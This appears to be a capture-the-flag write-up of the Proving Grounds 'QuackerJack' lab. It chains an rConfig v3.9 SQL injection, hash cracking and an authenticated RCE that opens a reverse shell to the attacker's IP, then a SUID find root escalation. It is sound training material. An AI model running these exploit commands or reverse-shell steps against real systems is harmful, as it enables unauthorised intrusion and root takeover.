the_open_door
coffee
ESEN

QuackerJack

Proving Grounds PracticeMediumLinux192.168.233.57

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#rconfig#cve-2020-10220#cve-2020-10221#sql-injection#md5-cracking#authenticated-rce#suid#find#oscp
TL;DR. QuackerJack serves rConfig v3.9 on port 8081. An unauthenticated SQL injection (CVE-2020-10220) leaks the administrator's MD5 hash, which we crack to abgrtyu (hash cracking). With those credentials we fire the authenticated RCE (CVE-2020-10221) and land as apache. The find binary carries the SUID bit, so find . -exec /bin/sh -p gives us root (SUID binary abuse).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The full sweep exposes eight ports:

ping -c 1 192.168.233.57
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.233.57
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  netbios-ssn
3306/tcp open  mysql
8081/tcp open  http
nmap -p21,22,80,111,139,445,3306,8081 -sCV 192.168.233.57 -oN targetedScan
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16)
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.10.4
3306/tcp open  mysql       MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open  http        Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16)

Although SMB advertises itself as "Windows 6.1", it's Samba on CentOS (confirmed by the Apache header). The FTP allows anonymous login but the listing times out (TIMEOUT), a dead end. Port 80 only shows the default CentOS test page. The interesting service is 8081.

rConfig - TCP 8081

Port 8081 hosts rConfig, a network configuration management web app. The login screen gives away the version: v3.9.

rConfig v3.9 login panel on port 8081

searchsploit returns two chainable vulnerabilities for that version: an unauthenticated SQLi and an authenticated RCE.

searchsploit rconfig 3.9
rConfig 3.9 - 'searchColumn' SQL Injection                       | php/webapps/48208.py
rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution | php/webapps/48207.py

Exploitation

CVE-2020-10220: SQL injection and the admin hash

rConfig's searchColumn parameter is injectable without authentication. Exploit 48208.py automates the extraction: it pulls the database name (rconfig) and the first user, the administrator, with its MD5 hash:

searchsploit -m php/webapps/48208.py
mv 48208.py exp.py
python3 exp.py https://192.168.233.57:8081

As-is the exploit never finishes: the service runs over HTTPS with a self-signed certificate, and requests aborts the connection because it cannot validate it:

First run of the exploit: after Triggering the payloads, a urllib3/ssl traceback while validating the certificate

rconfig 3.9 - SQL Injection PoC
[+] Triggering the payloads on https://192.168.233.57:8081/commands.inc.php
[+] Extracting the current DB name :
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 464, in _make_request
    self._validate_conn(conn)
  ...
  File "/usr/lib/python3/dist-packages/urllib3/util/ssl_.py", line 524, in _ssl_wrap_socket_impl
    return ssl_context.wrap_socket(sock, server_hostname=server_hostname)

The fix is a one-liner: inside extractDBinfos, tell requests not to verify the certificate.

# exploit_req = request.get(encoded_request)          # original line
exploit_req = request.get(encoded_request, verify=False)   # modified

With that change the exploit runs the injection all the way through:

The SQLi extracts the rconfig database and the admin user's MD5 hash

[+] Extracting the current DB name : rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2

The hash dc40b85276a1f4d7cb35f154236aa1b2 is an unsalted MD5, so instead of brute-forcing we look it up in a database of already-cracked hashes (hash cracking). It's caught:

The MD5 hash comes back cracked: admin's password is abgrtyu

dc40b85276a1f4d7cb35f154236aa1b2:abgrtyu

The admin password is abgrtyu.

CVE-2020-10221: authenticated RCE

We start Penelope on 22 (the callback port the exploit uses):

penelope 22

With valid credentials the second CVE comes into play: ajaxAddTemplate.php runs commands from the parameters it receives once authenticated. Exploit 48207.py logs in and fires a reverse shell; we run it under Python 2, passing the username, password, our IP and the listening port:

searchsploit -m php/webapps/48207.py
python2 48207.py https://192.168.233.57:8081/ admin abgrtyu 192.168.45.219 22

The authenticated RCE returns a reverse shell as the apache user

(Penelope)> listeners add -p 22
[+] Got reverse shell from quackerjack~192.168.233.57-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
bash-4.2$ whoami
apache

The exploit authenticates, fires the RCE and Penelope upgrades the connection to a PTY: we get the shell as apache.

Local

cat /home/rconfig/local.txt && whoami && ip a && hostname

local.txt read as apache on quackerjack

cfe6ba5856c6efc65b9e9ac1cc669521
apache

Privilege escalation

SUID find

We look for binaries with the SUID bit set and one that shouldn't be there shows up: /usr/bin/find:

find / -perm -4000 2>/dev/null
/usr/bin/find
/usr/bin/chage
/usr/bin/gpasswd
...

find can run commands with -exec. Since it runs SUID root, launching a shell with -p (which preserves the effective UID) yields a root shell (SUID binary abuse):

find . -exec /bin/sh -p \; -quit

The SUID find launches /bin/sh -p and whoami returns root

bash-4.2$ find . -exec /bin/sh -p \; -quit
sh-4.2# whoami
root

Since find runs SUID root and -p preserves the effective UID, the resulting shell is root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on quackerjack

fb71af2445c2e4fb7632aa67253fdcaf
root

Attack chain

HTTP (8081)  --  rConfig v3.9
        │  CVE-2020-10220: SQLi -> admin MD5 hash
        │  crack the hash -> abgrtyu
        │  CVE-2020-10221: authenticated RCE -> reverse shell
        ▼
apache  (local.txt)
        │  SUID find -> find . -exec /bin/sh -p
        ▼
root  (proof.txt)

Lessons learned

  • Two CVEs chain better than one. The SQLi alone only gave a hash; combined with the authenticated RCE it sealed initial access. Looking up all of a version's vulnerabilities, not just the first, reveals the full chain.
  • An unsalted MD5 needs no brute force. The admin hash was in public cracked-hash databases. Before spinning up hashcat, checking whether someone already broke it saves time.
  • SUID find is instant root. Its -exec runs any binary with the owner's UID; with the SUID root bit and -p, the shell inherits the privileges. No general-purpose binary should carry SUID.
  • Not every open port is a path. Anonymous FTP and port 80 were noise; quickly identifying which service (8081, rConfig) held the box up avoided wasting time on dead ends.
Command cheatsheet 9 commands

Quick review